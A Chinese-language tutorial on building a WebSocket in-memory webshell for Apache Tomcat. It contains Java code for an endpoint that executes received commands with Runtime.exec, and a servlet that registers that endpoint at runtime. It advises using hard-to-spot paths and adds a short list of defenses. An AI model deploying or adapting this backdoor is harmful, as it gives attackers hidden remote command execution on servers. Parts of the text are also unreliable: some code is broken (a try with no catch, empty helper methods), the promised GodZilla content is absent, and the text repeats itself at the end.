Java内存马篇——WebSocket内存马及GodZilla二开
字数 1610 2025-09-01 11:26:03

WebSocket内存马及GodZilla二开技术详解

一、WebSocket基础

WebSocket是一种基于TCP协议的全双工通信协议,与HTTP的单向请求-响应模式不同,它允许客户端和服务器同时发送和接收数据,无需等待对方请求。

握手过程

  • 握手阶段仍使用HTTP协议
  • 客户端发送升级请求
  • 服务器返回同意升级响应
  • 后续通信直接使用WebSocket协议

二、WebSocket服务端实现方式

1. 使用@ServerEndpoint注解

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.IOException;

@ServerEndpoint("/ws")
public class WebSocketDemo {
    @OnOpen
    public void onOpen(Session session) {
        System.out.println("WebSocket连接建立: " + session.getId());
    }
    
    @OnMessage
    public void onMessage(String message, Session session) {
        try {
            // 回显接收到的消息
            session.getBasicRemote().sendText("ECHO: " + message);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
    @OnClose
    public void onClose(Session session) {
        System.out.println("WebSocket连接关闭: " + session.getId());
    }
    
    @OnError
    public void onError(Session session, Throwable error) {
        error.printStackTrace();
    }
}

2. 继承javax.websocket.Endpoint类

import javax.websocket.*;
import javax.websocket.MessageHandler;
import java.io.IOException;

public class MyWebSocketEndpoint extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;
    
    @Override
    public void onOpen(Session session, EndpointConfig config) {
        System.out.println("WebSocket opened: " + session.getId());
        this.session = session;
        session.addMessageHandler(this);
    }
    
    @Override
    public void onMessage(String message) {
        handleMessage(message);
    }
    
    private void handleMessage(String message) {
        System.out.println("Received message: " + message);
        try {
            session.getBasicRemote().sendText("Echo: " + message);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void onClose(Session session, CloseReason closeReason) {
        System.out.println("WebSocket closed: " + session.getId());
    }
    
    @Override
    public void onError(Session session, Throwable thr) {
        System.err.println("WebSocket error on session " + session.getId());
        thr.getMessage();
    }
}

三、WebSocket生命周期方法

注解/方法 触发时机 功能
@OnOpen / onOpen 客户端与服务端完成握手后调用,仅执行一次 初始化会话资源,记录连接时间等
@OnMessage / onMessage 接收到客户端发送的消息时调用 处理文本、二进制或Pong消息,支持异步响应
@OnError / onError 连接或端点发生异常时调用 捕获未处理的异常,防止服务崩溃,记录日志或发送错误通知
@OnClose / onClose 连接关闭时调用(无论主动或被动关闭) 释放资源、记录日志或发送最终通知

四、Tomcat中的WebSocket初始化流程

  1. Tomcat启动Web应用上下文时调用standardContext.startInternal方法
  2. 触发ServletContainerInitializers初始化
  3. 调用ServletContainerInitializer接口的onStartup()方法
  4. Tomcat的WebSocket实现类org.apache.tomcat.websocket.server.WsSci被加载
  5. WsSci初始化WebSocket容器并筛选WebSocket组件

五、WebSocket连接流程

  1. 客户端发送HTTP请求
  2. Tomcat的WsFilter过滤器判断是否是WebSocket请求
  3. 如果是WebSocket请求,发起升级协议(HTTP → WebSocket)
  4. 建立WebSocket连接

关键判断条件:

public static boolean isWebSocketUpgradeRequest(ServletRequest request, ServletResponse response) {
    return request instanceof HttpServletRequest && 
           response instanceof HttpServletResponse && 
           headerContainsToken((HttpServletRequest)request, "Upgrade", "websocket") && 
           "GET".equals(((HttpServletRequest)request).getMethod());
}

六、WebSocket内存马实现

1. WebSocket Shell实现

package cmisl;

import javax.websocket.*;
import javax.websocket.MessageHandler;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class cmdWebSocket extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;
    
    @Override
    public void onOpen(Session session, EndpointConfig endpointConfig) {
        this.session = session;
        session.addMessageHandler(this);
    }
    
    @Override
    public void onMessage(String command) {
        try {
            StringBuilder output = new StringBuilder();
            Process process = Runtime.getRuntime().exec(command);
            try {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
                BufferedReader errReader = new BufferedReader(
                    new InputStreamReader(process.getErrorStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }
                while ((line = errReader.readLine()) != null) {
                    output.append(line).append("\n");
                }
                session.getBasicRemote().sendText(output.toString());
            } catch (Exception e) {
                try {
                    session.getBasicRemote().sendText("Error: " + e.getMessage());
                } catch (Exception ex) {
                    ex.printStackTrace();
                }
            }
        }
    }
}

2. 注入点实现

package cmisl;

import org.apache.catalina.core.StandardContext;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import javax.servlet.ServletContext;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.websocket.server.ServerEndpointConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.websocket.server.WsServerContainer;

@WebServlet(name = "cmdShellServlet", urlPatterns = {"/cmd"})
public class cmdShellServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        try {
            List<Object> contexts = getContext();
            ServletContext servletContext = null;
            for (Object context : contexts) {
                servletContext = (ServletContext) invokeMethod(context, "getServletContext");
                // 获取WsServerContainer
                WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");
                
                // 构建ServerEndpointConfig
                ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(
                    cmdWebSocket.class, "/cmd").build();
                
                // 添加端点
                wsServerContainer.addEndpoint(sec);
                
                response.getWriter().println("WebSocket Shell installed successfully!");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    // 辅助方法:获取上下文
    private List<Object> getContext() throws Exception {
        // 实现获取上下文的逻辑
    }
    
    // 辅助方法:反射调用
    private Object invokeMethod(Object obj, String methodName) throws Exception {
        // 实现反射调用的逻辑
    }
}

七、关键实现细节

  1. 获取WsServerContainer

    • 通过ServletContext的getAttribute("javax.websocket.server.ServerContainer")获取
    • Tomcat 10+需要使用jakarta.websocket.server.ServerContainer
  2. 构建ServerEndpointConfig

    ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(
        cmdWebSocket.class, "/cmd").build();
    
  3. 添加端点

    wsServerContainer.addEndpoint(sec);
    
  4. 路径选择

    • 选择不常见或不易被发现的路径
    • 避免与现有WebSocket端点冲突

八、防御措施

  1. 监控WebSocket端点注册

    • 定期检查应用中注册的WebSocket端点
    • 特别关注动态注册的端点
  2. WebSocket流量监控

    • 监控WebSocket通信内容
    • 检测异常命令执行行为
  3. 安全配置

    • 限制WebSocket端点的访问权限
    • 禁用不必要的WebSocket功能
  4. 运行时检测

    • 使用Java Agent技术检测内存中的恶意类
    • 监控WebSocket容器的动态修改

九、总结

WebSocket内存马相比传统Filter/Listener内存马具有以下特点:

  1. 通信更隐蔽,不易被传统WAF检测
  2. 支持全双工通信,交互性更强
  3. 生命周期管理更灵活
  4. 在Tomcat环境中实现相对简单

防御方需要针对WebSocket协议特点开发专门的检测手段,不能仅依赖传统的HTTP流量检测。

WebSocket内存马及GodZilla二开技术详解 一、WebSocket基础 WebSocket是一种基于TCP协议的全双工通信协议,与HTTP的单向请求-响应模式不同,它允许客户端和服务器同时发送和接收数据,无需等待对方请求。 握手过程 握手阶段仍使用HTTP协议 客户端发送升级请求 服务器返回同意升级响应 后续通信直接使用WebSocket协议 二、WebSocket服务端实现方式 1. 使用@ServerEndpoint注解 2. 继承javax.websocket.Endpoint类 三、WebSocket生命周期方法 | 注解/方法 | 触发时机 | 功能 | |-----------|----------|------| | @OnOpen / onOpen | 客户端与服务端完成握手后调用,仅执行一次 | 初始化会话资源,记录连接时间等 | | @OnMessage / onMessage | 接收到客户端发送的消息时调用 | 处理文本、二进制或Pong消息,支持异步响应 | | @OnError / onError | 连接或端点发生异常时调用 | 捕获未处理的异常,防止服务崩溃,记录日志或发送错误通知 | | @OnClose / onClose | 连接关闭时调用(无论主动或被动关闭) | 释放资源、记录日志或发送最终通知 | 四、Tomcat中的WebSocket初始化流程 Tomcat启动Web应用上下文时调用 standardContext.startInternal 方法 触发 ServletContainerInitializers 初始化 调用 ServletContainerInitializer 接口的 onStartup() 方法 Tomcat的WebSocket实现类 org.apache.tomcat.websocket.server.WsSci 被加载 WsSci 初始化WebSocket容器并筛选WebSocket组件 五、WebSocket连接流程 客户端发送HTTP请求 Tomcat的 WsFilter 过滤器判断是否是WebSocket请求 如果是WebSocket请求,发起升级协议(HTTP → WebSocket) 建立WebSocket连接 关键判断条件: 六、WebSocket内存马实现 1. WebSocket Shell实现 2. 注入点实现 七、关键实现细节 获取WsServerContainer : 通过ServletContext的 getAttribute("javax.websocket.server.ServerContainer") 获取 Tomcat 10+需要使用 jakarta.websocket.server.ServerContainer 构建ServerEndpointConfig : 添加端点 : 路径选择 : 选择不常见或不易被发现的路径 避免与现有WebSocket端点冲突 八、防御措施 监控WebSocket端点注册 : 定期检查应用中注册的WebSocket端点 特别关注动态注册的端点 WebSocket流量监控 : 监控WebSocket通信内容 检测异常命令执行行为 安全配置 : 限制WebSocket端点的访问权限 禁用不必要的WebSocket功能 运行时检测 : 使用Java Agent技术检测内存中的恶意类 监控WebSocket容器的动态修改 九、总结 WebSocket内存马相比传统Filter/Listener内存马具有以下特点: 通信更隐蔽,不易被传统WAF检测 支持全双工通信,交互性更强 生命周期管理更灵活 在Tomcat环境中实现相对简单 防御方需要针对WebSocket协议特点开发专门的检测手段,不能仅依赖传统的HTTP流量检测。